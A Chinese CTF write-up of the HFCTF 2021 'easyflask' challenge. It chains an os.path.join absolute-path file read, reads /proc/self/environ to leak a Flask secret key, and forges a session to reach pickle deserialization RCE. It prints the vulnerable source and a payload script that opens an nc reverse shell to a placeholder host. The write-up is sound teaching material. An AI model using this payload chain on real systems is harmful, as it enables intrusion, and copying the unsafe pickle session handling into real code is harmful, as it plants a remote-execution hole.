HFCTF-2021-Final-easyflask-解题步骤详解

admin 2022年6月10日10:40:34评论147 views字数 2394阅读7分58秒阅读模式

HFCTF-2021-Final-easyflask-解题步骤详解考点

Python os.path.join trick、环境变量暴露敏感信息、pickle 反序列化 RCE、Flask Session 伪造

思路

进入题目,hint提示/file?file=index.js,进去之后又提示Source at /app/source,获得源码信息

注意 /file 路由,用户上传的 path 会被拼接到 static 目录后面,这里有个trick,当 os.path.join 的第二个参数为绝对路径时拼接的结果就是该绝对路径,用这里可以实现任意文件读取

HFCTF-2021-Final-easyflask-解题步骤详解

/admin 路由里使用 pickle 模块直接将 session 里的内容反序列化了,pickle 模块实现了将 Python 对象序列化和反序列化的方法,这里涉及到一个魔法方法 __reduce__

HFCTF-2021-Final-easyflask-解题步骤详解

反序列化必然包含创建新对象的操作,如果 __reduce__ 里包含攻击代码就可以实现RCE,但是被反序列化的输出储存在 session 里,但是 session 数据都是 flask 加密过的,只有知道 secret_key 才能伪造 session 实现 RCE

一般来说,secret_key 这样的数据传递给程序主要有以下方法:硬编码在代码里、写在配置文件里、通过环境变量传递给程序

这里刚好是第三种情况,*nix 系统存在一个伪文件系统 /proc,结合前面的任意文件读取漏洞可以读取到自身的环境变量,即/file?file=/proc/self/environ,得到secret_key=secret_key=glzjin22948575858jfjfjufirijidjitg3uiiuuh

接下来就是伪造 session 啦,修改源码里的 SECRET_KEY, 给 User 对象添加 __reduce__ 方法,用浏览器访问 / 拿到伪造号的Cookie

需要注意:靶机是Linux环境,本地是Windows环境,这两个环境下dumps的结果中序列化字符串声明系统的标识符不同:Linux=>posix;Windows=>nt,需要将脚本放在Linux环境下生成序列化字符串

Payload

/app/source源码信息

#!/usr/bin/python3.6import osimport pickle
from base64 import b64decodefrom flask import Flask, request, render_template, session
app = Flask(__name__)app.config["SECRET_KEY"] = "*******"
User = type('User', (object,), { 'uname': 'test', 'is_admin': 0, '__repr__': lambda o: o.uname,})

@app.route('/', methods=('GET',))def index_handler(): if not session.get('u'): u = pickle.dumps(User()) session['u'] = u return "/file?file=index.js"

@app.route('/file', methods=('GET',))def file_handler(): path = request.args.get('file') path = os.path.join('static', path) if not os.path.exists(path) or os.path.isdir(path) or '.py' in path or '.sh' in path or '..' in path or "flag" in path: return 'disallowed'
with open(path, 'r') as fp: content = fp.read() return content

@app.route('/admin', methods=('GET',))def admin_handler(): try: u = session.get('u') if isinstance(u, dict): u = b64decode(u.get('b')) u = pickle.loads(u) except Exception: return 'uhh?'
if u.is_admin == 1: return 'welcome, admin' else: return 'who are you?'

if __name__ == '__main__':    app.run('0.0.0.0', port=80, debug=False)

/proc/self/environ内容

HFCTF-2021-Final-easyflask-解题步骤详解

Payload构造

import picklefrom base64 import b64encodeimport os
User = type('User', (object,), { 'uname': 'test', 'is_admin': 1, '__repr__': lambda o: o.uname, '__reduce__': lambda o: (eval, ("__import__('os').system('nc ip port -e /bin/sh')",))
})u = pickle.dumps(User())print(b64encode(u).decode())

原文来自CSDN博主「H3rmesk1t」|侵删




HFCTF-2021-Final-easyflask-解题步骤详解

HFCTF-2021-Final-easyflask-解题步骤详解


中电运行是专业专注培养能源企业IT工匠和提供IT整体解决方案的服务商,也是能源互联网安全专家。

为方便大家沟通,中电运行开通“中电运行交流群”,诚挚欢迎能源企业和相关人士,以及对网络安全感兴趣的群体加入本群,真诚交流,互相学习HFCTF-2021-Final-easyflask-解题步骤详解HFCTF-2021-Final-easyflask-解题步骤详解。想加入我们就给我们留言吧HFCTF-2021-Final-easyflask-解题步骤详解

HFCTF-2021-Final-easyflask-解题步骤详解

HFCTF-2021-Final-easyflask-解题步骤详解

小白必读!寰宇卫士手把手教你栈溢出(上)

手把手教你栈溢出(中)

手把手教你栈溢出(下)

《信息安全知识》之法律关键常识汇总

CTF经验分享|带你入门带你飞!

HFCTF-2021-Final-easyflask-解题步骤详解

原文始发于微信公众号(寰宇卫士):HFCTF-2021-Final-easyflask-解题步骤详解

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年6月10日10:40:34
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   HFCTF-2021-Final-easyflask-解题步骤详解http://cn-sec.com/archives/1105060.html

发表评论

匿名网友 填写信息